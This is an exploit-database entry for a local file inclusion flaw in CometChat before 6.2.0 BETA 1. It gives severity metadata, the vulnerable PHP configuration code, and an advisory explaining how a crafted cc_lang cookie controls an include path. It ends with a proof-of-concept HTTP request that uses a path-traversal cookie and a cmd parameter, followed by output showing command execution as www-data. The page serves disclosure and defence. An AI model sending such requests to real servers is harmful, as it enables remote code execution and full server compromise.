Exploitalert - Database of Exploits

CometChat < 6.2.0 BETA 1 Local File Inclusion

CVE	Category	Price	Severity
CVE-2021-40074	CWE-98	N/A	High

Author	Risk	Exploitation Type	Date
exploitalert.com	High	Local	2017-10-24

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017100169

CometChat < 6.2.0 BETA 1 Local File Inclusion

# Exploit Title: CometChat < v6.2.0 BETA 1 - Local File Inclusion # Date: 2017-10-22 # Exploit Author: Luke Paris (Paradoxis) <[email protected]> # Vendor Homepage: https://cometchat.com/ # Version: < 6.2.0 BETA 1 # Tested on: Ubuntu Linux 14.04 # # -------------------------------------------------------------------------------------- # # In versions of CometChat before version v6.2.0 BETA 1 a bug existed which allowed # any unauthorised attacker to modify the include path of a php file by sending an # HTTP request with a crafted 'cc_lang' cookie. # # If successfully exploited an attacker could leverage this bug to execute arbitrary PHP # code which resides somewhere else on the server (eg: uploaded via an upload form). # # Due to the fact that this bug resides in the configuration file of the applications # it might be possible that future versions of the chat application still contain the # file inclusion bug as the script might have been re-applied after an update. # # -------------------------------------------------------------------------------------- # # The vulnerability resides in the application's configuration file, near the beginning # of the script the following code block is executed, this is where an attacker is able # to inject a string into the cc_lang cookie. /* COOKIE */ $cookiePrefix = 'cc_'; /* LANGUAGE START */ $lang = 'en'; /* LANGUAGE END */ if (!empty($_COOKIE[$cookiePrefix."lang"])) { $lang = $_COOKIE[$cookiePrefix."lang"]; } # Near the end of the configuration file, the following code block is executed. # This is where the exploit is triggered by not sanitising the $lang variable properly. include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.'en.php'; if (file_exists(dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php')) { include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php'; } # The following example demonstrates how an attacker could leverage this bug to gain control # over the server, which could result in a full server compromise (assuming the attacker has # already managed to write a webshell to the servers' disk somehow): GET /cometchat/config.php?cmd=id HTTP/1.1 Host: example.com Connection: keep-alive Cookie: cc_lang=../../uploads/evil HTTP/1.1 200 OK Host: example.com Connection: close Content-type: text/html; charset=UTF-8 uid=33(www-data) gid=33(www-data) groups=33(www-data)

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